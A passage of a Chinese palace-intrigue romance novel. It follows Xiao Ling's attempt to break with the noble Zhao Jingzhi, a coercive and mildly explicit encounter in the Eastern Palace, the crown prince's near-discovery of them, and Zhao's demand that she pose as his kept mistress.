萧负雪倒无多大反应,只是看着萧苓满眼担忧,不禁莞尔。
“妹妹不必担忧,北境是萧家管辖之地,北戎此举不过扰乱民心罢了。”
区区北戎,倒不足为惧,但太过反常,怕是有人背后做文章。
但事关朝政,他不能给萧苓说太多,怕她过于担忧,只能温声安慰。
“那兄长何时回来?”
萧负雪略一思索,刚抬眼就对上她关切的目光,就连刚刚想好的说辞都险些说不出口。
他转过视线,“快的话,不过月余便可班师回朝,要是慢的话,等年后也说不定。”
但是末了,萧负雪又加了一句,“不过兄长尽量赶在第一场雪落之前回来。”
也就是说,最晚也就是两个月。
萧苓弯了弯眉眼,道了声好。
不知怎地,自从得知父兄出征的旨意后,她没由来的发慌,以往虽也会担忧,但没有此次预感强烈。
不过有了兄长的承诺,萧苓忐忑的心总算落了下来。
凉风吹过,渡来她身上淡淡的桂花香。
萧负雪心里莫名涌动着奇异的暗涌,指尖无端的颤了颤。
这种奇怪的感觉与那日如出一辙。
但还不等他想清楚,父亲已经派小厮来请他去书房进行商议。
萧负雪只能跟萧苓道别,还没等往前走两步,却屏退了小厮,折返至还站在原地的萧苓面前。
萧苓诧异,以为他遗落了什么东西,正要开口,却听他压低声音问道:
“宁宁,你还喜欢太子殿下么?”
这个问题过于突兀,可萧负雪却问的这般自然,就如平日里出府采买,会问她喜欢吃什么,喜欢衣料上的什么花色。
可这终究不是采买,萧苓脑袋发懵,不知如何作答。
此时他们站着的园子里树梢上还挂着萧柔出嫁时的红绸,也许是布置的人不仔细,或者是被风吹久了,有一条正虚挂在粗粝枝虬上,正随着风摇摇欲坠。
萧负雪看着她踌躇的模样,眉心一皱,垂下的手渐渐用力收紧攥成拳。
他现在就如一根紧绷的弦。
“不喜欢。”
许久,萧苓似乎在茫茫风声中找到了自己的声音,她对上萧负雪的视线,郑重摇了摇头。
恰巧那根红绸完全散开,打着旋落在她的眼前,横亘在她与萧负雪之间。
听到此话,萧负雪的手莫名卸力松了下来,心头那抹异样也渐渐消散,他看着萧苓,用只有两个人听到的声音道:
“那等兄长回来,给宁宁择门好婚事,宁宁喜欢谁就选谁。”
语气像极了幼时带着萧苓去梅林,她想要哪枝,他就上树给她摘哪枝。
萧苓闻言心中一骇,天子赐婚,无人敢违抗。
上回容钦南与萧柔都闹成那样,圣上都不曾松口。
但见兄长神情如此认真,萧苓只当他是在宽慰自己,心中仍是涌起暖意。
“多谢兄长。”
——
时间如一尾鱼接连滑过几日,自父兄领兵出征后,萧苓除了晨昏要给祖母与陈氏请安,在萧家很是清静。
就连赵景之的消息也甚少传来。
仿佛一切都是她做了一场虚幻的梦。
但当萧苓由宫人引着入席、请安后,看着东宫红墙绿瓦,就知她仍然深陷在这黏腻的沼泽里。
她瞥了一眼坐在身旁的容钦南,他今日春风得意,宴请群臣。
自然也邀请了她这个未来太子妃。
萧苓本来想寻个由头推了这场宴会,但兄长的话给她提了个醒。
婚期悬而未决,她不能坐以待毙。
她既然不喜欢容钦南,这婚事自然是能拖多久算多久。
虽说这是天子赐婚,但成与不成,总要试试才知道。
容钦南右侧坐着萧柔,她一身桃粉曳地襦裙,披着月白色大氅,隐隐带着贵气。
她看着萧苓落座,正举起案上的果酒遥遥对着萧苓。
“姐姐。”
容钦南刚放下酒樽,抬眸恰巧也看过来。
也许是目的达到,他看向她的目光不再如往日般温柔缱绻,甚至身子不自觉往萧柔那边靠了靠,带了两分审视意味。
原来他卸下伪装,是这幅模样。
萧苓装作没看到,避开他的视线,端起面前刚由宫人斟好的酒,一饮而尽。
她并非不会喝酒,先前也跟着兄长小酌过几杯。
但终究比不过宫里,冰冷的酒一路滑至肺腑,连带着指尖也泛着冷意。
萧柔见她如此爽快,斟酌好的话堵在了嗓子里,手上的酒一时间喝也不是,放下也不是。
最后还是被容钦南拿下来,将她的手攥进了宽厚温热的手心里。
“虽说是果酒,但你有了身孕,也是不宜多饮的。”
容钦南对着萧柔语气温和,侧过身却换了副上位者的口吻,叮嘱宫人给她换盏清茶。
萧柔顺势将头靠在了他的怀里,眸光雾色朦胧。
“妾知道了。”
随后便略带笑意的看着萧苓。
萧苓眉心微皱,不动声色挪过视线。
她现在才知道原来容钦南是为了昭告萧柔有孕而举办这场宴会。
请她过来,不过是想掩群臣耳目。
此时筵席上丝竹悦耳,更有教坊的宫女前来献舞,夹杂着清脆银铃声,一时热闹非凡。
萧苓看过去,却与对面一道突如其来的眼神对上。
淡漠而又恣意。
这是充斥着两种矛盾的眼神。
萧苓知道来这种场合难免会遇到赵景之,但真的碰上,她还是会下意识呼吸一窒。
她故作镇定移开目光,仿佛刚才一幕不曾发生,似是专心欣赏着绸舞。
可心里却盘算着该如何离席,去同赵景之说个清楚。
——其实她早该从这泥沼中抽身的。
等酒过三巡,有不少臣子上前给容钦南敬酒,萧苓借此机会也饮了几杯。
随后与宫人嘱咐了些什么,便往席外走去。
赵景之心不在焉敷衍着身边聒噪的礼部侍郎,目光却紧紧跟随着那渐行渐远的身影。
几日不见,她似乎更瘦了些。
“此事若依世子来看,该如何决断?”
赵景之眼皮稍抬,径直起身,极具压迫性的一眼,给那礼部侍郎吓得声音发颤。
“那下、下官立即着手去办。”
赵景之没有理会,将杯盏中最后残酒一饮而尽,只是道了个“嗯”字。
随后便抬脚往外走去。
——
东宫西苑秋色萧瑟,青石板上随处可见起三三两两的落叶。
萧苓走在小径上,只能听见自己的脚步声。
宫里的酒与她寻常喝的不同,略有些后劲,现在她觉得脸颊滚烫,脚步甚至越来越虚浮。
但意识还是清醒的。
萧苓紧紧掐着手心,钻心的疼痛让她迈快步子,却听到身后一声波澜不惊的轻唤。
“萧姑娘。”
她脚步一顿,回头才瞥到赵景之正靠在假山的矮壁上,身后是一处喷薄而出的清泉。<
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赵景之似乎没喝多少酒,仍旧是冷面如霜,看着萧苓一步步朝自己走过来,像是踩在棉花上似的。
他难得心情大好,从他与清泉之间让出空隙,让萧苓站过来。
猝不及防的冷香扑面而来,萧苓只觉酒醒了一半。
赵景之逆着天光,她看不清他的脸,可他却能看清她的。
脸色微红,双瞳剪水,就连娇艳唇瓣间也渡来令人微醺的热气。
她似乎饮了不少酒,否则不会敢坦然且无畏地与他对视。
赵景之轻笑,并不打算开口。
他知道她有话同他说,既如此,他等着就是。
萧苓借着酒意,手指紧紧攥住袖缘。
她知道,若是错过此次机会,有些话就再也说不出口了。
“世子,以后我们桥归桥,路归路吧。”
此话一出,气氛微滞。
连带着周身温度骤降。
这句话像是带走了萧苓全部的勇气,她说罢,才发觉心中忐忑,不敢对上他的眼神,几乎要转身而逃。
赵景之眉目含霜,像是听到什么好笑的,低低笑了两声。
让萧苓周身发寒。
她头皮发麻,错觉危险,想要趁赵景之不注意离开,手腕却被狠狠攥住。
一股痛意顺着手臂上的脉络席卷全身,萧苓此时的酒已完全清醒,对上他那阴沉狠厉的目光,几乎要落下眼泪来。
他不肯放她走么?
赵景之的目光几乎要将她看穿,让她眼底的慌乱害怕无处遁形,手一用力,将她往怀里带了带。
萧苓不由得轻呼,这是东宫,他竟如此行径!
但又想到之前她也是在这里求他救侯府,一举一动也是如此荒唐,她的心渐渐沉了下去。
赵景之看着她长睫因心慌而颤动,脸色一点点变至煞白时,道:
“想与我划清界限是么?”
“利用完我,就要把我甩开,是么?”
可惜,她想错了,一步错步步错。
他赵景之可不是什么雨夜英雄救美的好心人。
“你……干什么?”
萧苓突然被赵景之打横抱起,因身体腾空不得不环住了他的脖颈。
“没什么,去做些陌生人之间该做的事情。”
似乎是想到他接下来会做什么,一股凉意传至四肢百骸,萧苓想挣扎着下去,却被他紧紧按住双腿,连动也动不得。
她看着周围快速掠过的景致,脑袋一阵阵发晕。
宫人都被遣到前殿伺候筵席去了,已经空无一人。
萧苓只能听见耳旁的微风,与愈来愈重的心跳声。
等赵景之迈上台阶,一处眼熟的殿宇映入眼帘。
他轻笑,“眼熟么?”
萧苓呼吸急促起来,想要挣扎却被紧紧禁锢住。
那正是他在东宫暂居的寝殿。
——
宴会进行到一半,容钦南应下恭贺之声,只要是朝臣敬的酒,皆来者不拒。
只是担忧萧柔坐在此处,怕她着凉,便要着人将其带回寝殿好生休息。
等将人送走后,他忽然想到什么,将目光转向左侧的座位,却不见萧苓身影。
“萧苓人呢?”
给萧苓侍酒的宫人立即跪下回禀。
“回殿下,萧姑娘说不胜酒力,已提前离席。”
不胜酒力?
容钦南按了按眉心,一挥手,让人退下去。
他坐在主座上,饮多了酒脑袋昏沉,但勉强保持清醒,又将目光扫向席间。
觥筹交错,浮光落影。
只是下方最前头有一处空位甚是惹眼。
容钦南酒意上涌,想了半天,才想起那是赵景之的位置。
他似乎方才还在和礼部侍郎张茂议事。
“世子去了哪里?”
席间倏忽静默,一时停了热闹。
只有张茂知晓赵景之的踪迹。
“禀殿下,世子也离席了,说是要回寝殿更衣。”
“啪——”
案几上满盘珍馐连同酒樽全部被扫落在地。
容钦南只觉血气上涌,头痛欲裂。
17. 报复
禁宫深深,流苏琳琅。
层层帷幔垂落,整个寝殿静的只能听到轻微的焚香声。
再细闻去,似乎夹了一丝若有若无的馥郁气息。
萧苓面色羞红,被禁锢在赵景之身下,手腕被他单手攥至头顶,散落的衣衫肆意纠缠,只能感受到脖颈处温热且汹涌的吐息。
她感到凉意,蔽体衣料如潮水般褪去,遮掩着细腻白玉般的肌肤。
此时在他的手掌下轻轻打了个寒颤。
这点微末细节逃不过赵景之的眼睛,他嗤一笑声,紧接着薄唇在她红透的耳垂快速掠过。
看着她因他的一举一动而起伏,赵景之的眸色暗了几许。
肆虐怒气在血管里横冲直撞,险些要冲出胸膛让人发狂。
桥归桥,路归路。
她倒真敢想。
就没想过后果么?
这句话从萧苓口中说出来时,他简直要被气笑。
他恨不得一口咬断她的脖子。
而现在,那口气仿佛顺畅了些。
“你今天找我,就为了说这个么?”
赵景之的鼻尖滑过萧苓的肩头,故意停住手指的动作,目光却盯着她那莹润的唇瓣。
此时正微微张开,溢出微不可闻的泣声。
萧苓悔不当初,她就不该临时起意跟他说这些。
她下意识想摇头,可下一秒赵景之的食指就按在了她的唇瓣上,惩戒似的碾磨了两下。
柔软的触感让他想到任君采撷的春花。
“你放……放开我。”
心慌之下,萧苓想挣脱他的手。
“萧姑娘是不是以为这段时日没有找你,这件事情就这么过去了?”
怎么可能。
他又用了几分力道,直至指腹染上了一道绯红。
萧苓承受不住,半阖着眼转过头,可赵景之又改为攥住她的下颌,逼迫着她直视他的目光。
这个角度,她能清晰看到他清隽俊秀的下巴,再往上探去,能清晰看到他剑眉下的一双眼。
眼尾不知何时染上情/欲。
与在席间清冷自持的模样完全不同。
萧苓的思绪似乎又回到他们重逢后的雨夜。
熟悉的床榻,熟悉的陈设。
就连他钳住她的动作也无比熟悉。
酸涩感从眼眶中涌出,快/慰又一股股袭来,她唇角略微抽搐,满溢的泪水尽数落了下来。
赵景之见状又欺近了些,二人呼吸交缠,再无空隙。
“你怎么这么爱哭?”
他替她拭去泪水,指腹一片晶莹。
萧苓听着他的话,明明是再正常不过的语气,可她却听出了嘲讽意味。
她看着赵景之那冷白的脖颈,在昏暗的光线中,能看到青色血管在微微鼓动。
温热而又潮润。
她仰视着他,忽然涌起隐秘的冲动,径直一口咬了下去。
“嘶——”
尖锐的疼痛转化成酥麻顺着脊柱涌遍全身,赵景之猝不及防,倒吸一口凉气。
全部血液都汇集在一处,大脑突然变得空白。
他抬手摸了摸,随后看到了一抹猩红色。
等神智回归,赵景之轻笑一声,直直对上她慌乱的眸子,下意识紧攥住她的手腕。
“怎么,要报复么?”
赵景之不顾萧苓的抗拒,攥着她的右手,直接按在了他的侧颈处。
指尖下是温热的血肉和跳动的青筋。
“你应该咬、这、里。”
他这句话说的很轻,但一字一顿,带着不容抗拒的力量,让萧苓后背沁出薄汗来。
她忐忑不安,唇齿间还有隐隐铁锈味。
他仿佛极力忍耐着什么,眼底如暗潮汹涌。
最终低低笑出了声,唇角笑意愈浓。
萧苓被这笑声刺激的头皮发麻,赵景之不笑还好,若是似笑非笑,看着很是寒意瘆人。
记忆不由得往回溯了些,他之前笑起来,是很温和的。
只是不常笑罢了。
气氛陡然沉默。
萧苓收回神思,心口微微起伏着,想开口,却不知道说什么,连手也被攥的生疼。
她这才真心觉得,赵景之已经不是三年前的赵景之。
无论是说话还是行事,都得小心。
“看来萧姑娘有很多话要说,不妨将心里话都说出来,本世子也好帮你斟酌。”
萧苓微顿,赵景之将她复杂神色尽收眼底,敛了笑意,可心情明显更加愉悦。
连带着微微松开了对她的桎梏。
他要听她的心里话?
萧苓迟疑,但还是避开他的目光,轻轻吸了一口气。
“世子年轻有为,是大周栋梁之材……”
她小心翼翼斟酌用词,但话未说完,便被赵景之冷冷截断。
“所以呢?萧姑娘打算与本世子划清界限,然后安心待嫁?”
萧苓自然不会嫁给容钦南,但这话却是不能说。
“世子前途大好,与萧苓终究不是一路人。”
她稳住心神,换了种说辞。
“是么?可惜萧姑娘想错了,我并不是什么好人。从那夜起,你既然求了我,就不要想着从我离开。”
赵景之俯下身,贴着她的耳垂,一字一句,温热的吐息像是要把她的灵魂打上他的烙印。
萧苓没想到他会这么说,身体一寸寸凉透。
随后便见赵景之面色微冷,宽阔身躯往后退一步,起身之际发出绮糜的声音。
她突然像失去浮木的落水人,一下子失去支柱,不免心慌起来。
不安渐渐充斥她的胸膛。
他要干什么?
“世子。”
寝殿里未掌灯,萧苓看不清赵景之的神情,只能看着他抚了抚衣裳上的褶皱,动作慢条斯理,高大身影在床榻旁落下一片阴影。
“嘘——”
赵景之朝她做了个手势,听到什么动静后,眉心紧皱。
萧苓下意识屏住呼吸,静谧的大殿中,只能听到她愈来愈快的心跳声。
等那个声音愈来愈近后,她手里莫名捏了把汗。
那是在殿外徘徊的脚步声!
——
容钦南一听张茂回禀后,不知联想到什么,面色很是难看。
是巧合么?
萧苓离席,偏偏赵景之也不在。
他坐在席首,手指无意识的摩挲着杯盏,一低眸,睫羽给眼底投下淡淡阴翳。
醉酒滋味并不好受,容钦南按了按眉心,想缓解头疼,脑海却不可避免出现一个人影。
月影婆娑,那少女低面敛眉,只能看到她纤秀清妍的半张脸。
她在众目睽睽下,说她就是萧苓。
萧苓、萧苓。
这个名字像荆棘一样扎在容钦南的脑子里,让他的头愈发疼。
“砰——”
衣袖拂过之地,地上一片狼藉。
原本还算融洽的席间顿时缄默无声。
群臣被吓了一跳,不知发生了何事。
容钦南向来在外人面前不喜形于色,今日不知怎地竟如此失态。
直接拂袖而起,往后苑走去。
跟在身边的宦官太阳穴突突的跳,留下来安抚面面相觑的文武百官。
“殿下回去更衣,还请各位大人请便。”
话已至此,那些人也只是连称不敢。
一路寂寥无声,容钦南屏退跟上来的宫人,不知怎地,竟然直接往他曾让人给赵景之收拾的寝殿走去。
酒意将他整个人撕扯成了两半。
一半还是理智温润的太子殿下,另一半却成了身披玄衣的容钦南。
有道声音告诉他,萧苓是他未来的太子妃,赵景之是他最亲近的臣子,他俩万万不可能。
但是又有一道声音拉扯着他的理智。
有什么不可能的,世上哪有那么巧的事情?
“皇兄。”
行至小径尽头,岑钰正好路过叫住他。
容钦南这才抬起头,停住脚步,看向她的目光有些微滞。
“皇妹怎么到这里来了?”
岑钰面色羞怯,快步站到容钦南面前,见四下无人,压低声音。
“方才宫人来报,说是景之哥哥经过这里,我便过来了。”
容钦南见她仍满心满眼都是赵景之的模样,忍不住蹙眉。
“皇妹就非他不可么?”<
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p>岑钰一愣,“皇兄……”
她这才发现容钦南一直沉着脸,只能点点头。
“那你可知他已经有了心上人?”
岑钰眼神闪躲,并未答话。
容钦南见状,将落在后面的宫人叫至跟前,低声道,“将公主带回去。”
“皇兄!”
岑钰眼睁睁看着容钦南抬脚往前走,但又不敢违抗他的命令。
“等殿试过后,孤会亲自为你选驸马。”
他只丢下这几个字。
等拐住小径,再绕过矮树,便到了那个寝殿。
此时正紧阖着殿门,唯有悬在檐下的宫灯微微随风摇晃。
容钦南按了按钝痛的额头,拾级而上,眼看离殿门还有几步之遥,他竟产生了犹豫之意。
只要推开那扇门,他就能得一个心安。
正在犹豫间,容钦南似乎听到什么东西掉落的声音。
——
萧苓听见脚步声,想着有人经过,应该寻个地方躲起来。
可刚起身,腰却被一把揽住,等再回过神来,人已经紧紧贴在了赵景之怀中。
她面色煞白,看着殿门外有个模糊的身影,心如雷鼓。
“你放开。”
赵景之反而将萧苓抱起,她一时不察,险些跌落在地,手下意识紧紧攥住他的衣袖。
他低笑,感受着怀里的身子越来越紧绷,心情十分愉悦。
随后,他慢慢带着她往门的那边走去。
“赵景之!”
萧苓是真的害怕,下意识唤出他的名讳,脸紧紧靠在他的胸膛。
听着他缓慢而有力的心跳,一股冷意直钻肺腑。
赵景之并未多说,他走的极慢,每走一步,便重重颤落一次。
萧苓的指尖越来用力,或许是心虚害怕,对于门外愈来愈近的黑影,她的心跳的飞快,快要从胸膛里跳出来。
“求求你,不要再往前了。”
她只能用近乎哀求的语气恳求他。
赵景之置若罔闻,又往前行一步,从内室到殿门不过几十步,但又要谨防门外的人按耐不住性子推门而入。
他知道,门后那人快要站不住了。
因而,每一步都得精心设计。
“怎么求?”
他的声音带了两分喑哑,手稳稳托住她的腰际。
指尖往下一探,还带着潮润。
“我……我不知道。”
她的神情有些许恍惚,眼神渐渐涣散。
“那好,请萧姑娘帮本世子一件事。”
最后离殿门还有三步距离,面对随时都有可能会被发现的威胁,巨大的恐惧有如一把悬在头顶上的刀。
萧苓知道这又是赵景之要设下的陷阱,还不知道他又接下来要做什么可怕的事情。
但没有什么,是比今日、比现在更可怕的了。
萧苓蜷起身子,想把自己的存在感降到最低。
她听到自己轻轻“嗯”了一声。
耳边等着赵景之的回答,眼睛却一眨不眨死死盯着门外。
那道身影逐渐在视线中清晰。
即使只有道轮廓,萧苓也能分辨出那是在宴席上坐她身旁的容钦南。
只要他推开门,一切情景都无处遁形。
“我要你假扮我养在海棠巷的外室。”
赵景之怕她听不清,特地一字一顿。
外室?
萧苓怕外面的人听出颤音,只能死死咬住嘴唇。
“公主追臣追的紧,臣没有萧姑娘好命,有婚约在身,只能胡诌一个养在外面的心上人。但臣怕皇家之人心思缜密,万一察觉治臣个欺君之罪,那臣不就没活路了么?思来想去,这等重任交由萧姑娘再合适不过了。”
他说完便要抬脚再往前走一步,萧苓冷汗浸透了里衫,她亲眼看着容钦南似乎也往前走了一步。
进退皆是两难。
在巨大的压力面前,她竟然觉得赵景之的要求也不算过分。
最终赶在他迈出最倒数第二步时,颤抖着点了点头。
与此同时,门外传来容钦南冷淡嗓音——
“景之在么?”
不等人答,“吱呀”一声,门被重重推开。
18. 阳春
殿内门窗皆紧闭,猛然天光大开,赵景之揉了揉惺忪的眼,径直走向了门外。
一见到容钦南便紧了紧衣领,躬身拱手。
“臣酒醉失仪,还请殿下责罚。”
容钦南站在门槛处,嗅到赵景之身上同他别无二致的淡淡酒气,目光则不动声色扫了一眼殿内陈设。
一切都一如既往。
可偏若说有什么不同,只是通往内室的流苏因什么人拂过而微微抖动。
曾发出过碰撞的清脆声响。
目光又转至赵景之身上,他应该是才睡醒,素来冷淡面色上透着隐隐的红,更遑论此时衣衫略有不整。
“景之言重了,孤只是惦念着你早早离席,还以为是身体不适,特来看望,见景之无恙,孤也就安心了。”
容钦南亲自将赵景之扶起,语气是察觉不出的松快。
“殿下的酒果然名不虚传,臣在南疆甚少饮过如此烈酒,因而不胜酒力,让殿下笑话了。”
赵景之往一侧让出空间,将人往案几旁边请。
“殿下请坐,臣去煮些醒酒茶来。”
容钦南刚要说不必麻烦,让宫人来便是,但赵景之已经披上大氅,已然准备好了茶具。
但就在他侧过身时,被衣领遮掩住的脖颈却显现在容钦南面前。
只见冷白皮肤上,一道猩红色特别显眼。
他已经纳了良娣,自然知道这痕迹,怎么看都像是用牙咬出来的。
容钦南漫不经心垂眸,等再抬起眼来,赵景之已经准备就绪,正坐在他的对面。
那道痕迹也被遮住,看的不甚清晰。
他不禁哑然失笑,觉得自己真是喝醉了。
再怎么起疑,也怀疑不到萧苓身上。
谁都知道萧苓最是规矩得体的人,不可能行差就错,做出如此行径。
更别说会做这么骇人听闻的事情。
而赵景之脖子上的痕迹,应该就是他那位心上人留下的。
换言之,容钦南能怀疑赵景之心上人是全京州的任何贵女,都不可能会是萧苓。
容钦南打心底否认了自己,连带着望向赵景之的目光都和缓了许多。
赵景之佯装不知,神色自然。
倒水煮茶,一套动作下来行云流水,等水煮沸后,整个寝殿间茶香四溢。
“殿下,请。”
容钦南抿了一口,只觉神清气爽,就连头疼也缓解了许多。
愈发觉得自己真是失控,借着酒劲就贸然前来,实属是失态了。
要是传到父皇耳中,怕是免不了一顿斥责。
还好未做出什么蠢事,容钦南又抿了一口,心中尚在庆幸。
“景之与孤同岁,如今孤都快做父亲了,你也要加把劲呐。”
容钦南换了个话题。
赵景之掩在袖中的手指微顿,似乎是预料到容钦南会有此问,但笑不语。
见他把茶吃尽,又给他倒了一杯。
此时日头渐渐西斜,照进来的光中暗尘浮动。
甚至有些许覆在赵景之被拉长的影子上。
“孤想着,既然你已经有了意中人,为何不直接娶进国公府?”
容钦南看着赵景之,仿佛要得出一个答案。
“难不成是因为定国公的缘故?”
当年的事情他也隐约听了些,自国公夫人去世后,赵景之便与定国公决裂。
他也因此得了个薄情寡性的名声。
在南疆三年,每次出征都是九死一生,但赵景之硬是一声未吭,连封家书都不曾回过。
这显得不近人情了。
但话音刚落,容钦南便隐隐后悔,这似乎触及他的逆麟。
果不其然,赵景之面色明显凝重,端着茶盏的手微不可见一顿。
但很快又恢复如常。
“殿下多虑,只是臣尚未建立功绩,又怎能随意给她一个名分?”
这么说,竟是个无名无分的了。
这事好办,只是那女子不是正妻,岑钰就还有机会。
容钦南心中暗自思忖,为皇妹感到欣喜,但却是面上不显。
“孤现在十分好奇,这究竟是何等佳人,能让景之为其倾心。”
赵景之吹了吹茶雾,余光随意瞥向流苏后面,淡淡笑道:
“殿下谬赞,不过寻常女子,只是臣在沙场刀光剑影,生死一线,唯独最想念的不过是一碗阳春面而已。”
空气突然安静了一瞬。
而萧苓正缩在流苏后面的帷幔里,大气不敢出,将动作放的尤其轻缓。她是在紧急时被赵景之推过来的,但怕误事,只能死死捂住嘴巴。
二人谈话尤其清晰,一点不落的传进她的耳朵里。
只是赵景之的话听着她的脑袋一阵阵发晕。
萧苓早就知道他的话只能听一半,信一半。
可如今这半真半假的话,却勾起了她刻意隐藏起来的记忆。
阳春面。
是的,萧苓唯一一次下厨,做的就是阳春面。
那还是赵景之顺风顺水的生涯中,唯一一次被定国公责罚,让跪在祠堂反省三天三夜。
连带着断水断粮。
那时他不过十五岁。
忘了是什么样的缘由,总之定国公很是生气,连国公夫人都劝不住。
等跪足了三日之后,人也倒地不省人事。
萧苓听萧负雪转述情况后,兄妹俩心急的厉害,偏偏定国公为了让赵景之长记性,不许人去探望。
听老嬷嬷说,人在病中最想念的也就是那一口热乎的汤面,吃进肚子里,暖暖的。
萧苓没有下过厨房,但为了赵景之,她不愿假手于人,宁肯自己去学。
等做好后,她由萧负雪护送着,两人趁浓重夜色一齐攀上了国公府的墙头。
兄妹俩如做贼般潜进后院,找到赵景之的屋子,恰好他那时幽幽转醒,正一眨不眨看着融进暗色的他们。
她还记得少年的眼眸比偷偷点燃的烛火还要亮,他那时的笑是发自肺腑的,即使因为虚弱而显得苍白的脸也是清隽而俊美。
他笑着问,这面是谁做的?
萧苓依旧怯生生的躲在兄长身后,不敢应声。
那个时候,她就觉得兄长和赵景之是世上最意气风发的少年。
若是时光就这么平静无波过去该多好,他们终究会成长,成为顶天立地的大人。
可事到如今,一帘流苏冰冷彻骨,挡住的不止是三年的距离,更横亘着一条活生生的人命,还有她那无疾而终的年少绮梦。
她想,她永远失去
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了过安稳人生的资格。
——
“景之,孤更好奇是哪家的姑娘了。”
容钦南完全醒了酒,放下茶盏,清明神色中透露些丝丝缕缕的试探。
萧苓听到此话,猛然回神,她知道赵景之既然让她藏在这里,那就不会给容钦南把柄。
但若真的将此事摆在明面上,她还是不敢呼吸,同时心里好奇赵景之会如何回答。
赵景之对上容钦南打量的目光,顿了顿,知晓若是不打消他的疑心,怕是今后还有的纠缠。
“左不过一个寻常女子,年少同臣有些交情,但仅此而已。”
容钦南知道他有所保留,却也没有再问,只是思量着岑钰也同赵景之有年少的情分在,怎么就无缘无份呢?
一想到岑钰因为他的迁怒被禁足在宫中,心里就有说不出的烦闷。
连带着对那女子的好奇也渐渐消失殆尽。
“孤既已解酒,便不多留了,景之待会便回筵席陪孤痛饮几杯如何?”
赵景之颔首,说等将更衣后再去。
容钦南深深看了他一眼,便转身离去。
等人走后,萧苓慌乱的心终于落了下去,陡然的压力突然卸掉她全部力气,整个人如同从水里捞出来一般。
容不得多想,流苏被撩起,赵景之居高临下瞥她一眼。
人躲在帷幔后,衣衫随意裹着,略显狼狈,眼眶微红,像一只受惊的小兔子。
他突然记起那只在南疆养的野兔,一摸它,就瑟瑟发抖。
萧苓闻声抬头,站直身子,此时双腿酸软的不成样子。
可她死死掐着手心,传来的痛楚让她勉强保持镇定。
“待会从后门走,若是问起来,萧姑娘知道该如何说吧?”
萧苓在他不加掩饰的目光下匆匆掠过自己现在的模样,耳根陡然红透。
她往后退几步借着帷幔遮挡,不敢与他对视,只是道了声好。
赵景之看着萧苓欲盖弥彰的模样,忍不住含笑几分。
可有几分是真情实意,唯有他自己能说清楚。
“臣今日又帮萧姑娘一个忙,可要想好怎么回报臣才是。”
他嗓音清越,又夹杂一丝不易察觉的暧|昧。
萧苓真不知他竟会如此颠倒黑白,如果不是他将她带进来,又怎么会被容钦南寻上来?
但她的手倏忽抖了一下。
面对他极具压迫性的目光下,萧苓只能颔首。
按两人商议好的那般,萧苓匆匆从寝殿后门离开,往假山处兜了一圈。
等容钦南重返宴会被人敬过两回酒后,她才姗姗来迟。
“臣女不胜酒力,在外多吹了会风,误了时辰,还请殿下恕罪。”
容钦南看着眼前恭谨行礼的少女,不足盈盈一握的腰间还系着他送的玉佩,眸色暗了几许。
握着酒樽的手指不由得收紧了些。
“无妨,是孤的不是。来人,给宁宁上果酒。”
他的语气还和往常别无二致,依旧如春风般和煦。
但落在萧苓耳中,足以让人心底生厌,头发发麻。
她强忍着情绪重新落座容钦南身旁,正要想理由告辞时,一道清贵且冷淡的声音从耳畔响起。
“臣给萧姑娘敬酒。”
19. 外室
赵景之的嗓音在喧嚣的丝竹声中格外清晰,萧苓蓦然抬眼,正好看到他握着酒杯,微微躬身,冷白指节修长而有力。
萧苓的眼皮子毫无预兆地跳了跳。
眼角余光能瞥见容钦南正在细细打量着她。
“多谢世子。”
萧苓深吸一口气起身,抬袖,将杯中酒一饮而尽。
澄澈果酒散发着甜香,不似普通的酒那般冰冷。
只是她心中忐忑,手指被攥至发白,只觉时间过得极慢。
也就无暇顾及唇边还沾着微末的酒渍。
此时微红的唇瓣弧度不自觉微扬,正如春光般潋滟。
赵景之垂眼,同样一饮而尽。
容钦南的目光在两人身上流转,随后也站起身,笑道:
“快快入座,孤今日要与景之一醉方休!”
他让宫人重新搬来椅子,让赵景之坐下。
位置正巧就在萧苓对面。
倏忽凉风乍起,她坐下后只觉周身发冷。
这种感觉太过于怪异,身旁是言笑晏晏的容钦南,而对面的却是才与她从一处寝殿出来的赵景之。
萧苓垂眸只觉坐立难安,生怕赵景之有意无意说错什么而让太子起疑。
但赵景之仿佛只是过来敬酒的,除了说几句无关痛痒的场面话后,再不肯多言。
举止投足间冷淡至极,就连一个眼神也没有给过她。
容钦南推过酒杯,让人斟酒,目光却斜斜掠过来看向了萧苓。
她长睫柔软,正一眨不眨的看着绸舞,与会坐倒在他怀中的萧柔不同,她的坐姿极其端庄,即使心不在焉,却也不会坏了规矩。
他眸光不由得一暗,自叹这段时日是自己对她过于冷淡。
即使再想除掉萧家,但她终究还是无辜的,不是么?
更何况,她生得如此姿容。
只要她乖乖的,不惹是生非,肯容得下萧柔,等萧家败落后他未必不会给她一个栖身之所。
这样想着,容钦南伸出手,刚要朝她端放在膝盖的手腕上握去时,却见她身子突然一颤,像极了着凉打的寒战。
面色也转至煞白,睫羽似是不可置信般微颤。
容钦南不动声色收回手,面露关切,“宁宁,是不是吹风着凉了?”
他的声音依旧平缓,带着暖意。
“要不要回去休息?”
而赵景之的目光也随之落在萧苓身上,轻飘飘的,只看了一眼便掠过去。
一如冬风,让人望之生寒。
萧苓不敢抬眼,耳根悄悄红的发烫,黑眸中似乎弥漫了一层迷蒙的水雾,冰冷的手却紧紧攥着袖缘,努力让自己镇定下来。
他怎会如此大胆?
竟敢当着容钦南的面!
她垂眼看着铺在案几上平整的桌幔,垂泄下来,正好能遮住几人的膝盖。
案几之上,风平浪静。
桌幔之下,风起云涌。
萧苓缓过神,依旧垂着眼,这才回答道:“劳烦殿下记挂,臣女只是受了风,休息一会便好。”
容钦南深知她的性子,是从不说谎的,又见她如雪的双颊透着粉,处处流露温顺乖巧,忽然心念一动,将目光转向了赵景之。
“景之,孤听闻你在海棠巷有个住处?”
容钦南声音不大,似乎谈及此事只是兴之所至。
不过他确实是忽然记起来,这还是东宫里派去监视的暗卫随口一提,无意中听到的。
原本也没什么,像赵景之这种世家大族子弟的身份,除了国公府外,手底下有再多田产、住所都无伤大雅,只是如此偏僻,又如此不入流的市井街巷,确实不够看了些。
更何况那处住着的都是些市井小民,怎么看也无法和赵景之扯上关系。
若是联想到他今日的反常,比如脖颈上的印记。
那怕是赵景之金屋藏娇的地方。
-
海棠巷?
那不是赵景之还她玉佩的地方么?
她手中还有一把此处的钥匙。
萧苓的心毫无防备狠狠一抖,但怕漏怯被容钦南起疑,只好也像第一次听到这个名字般向赵景之看了过去。
容钦南这般问,他是知道了多少?
她佯装镇定,即使怯的慌,但身形都不曾动一下。
赵景之会怎么说?
应该是会撇清关系的吧?
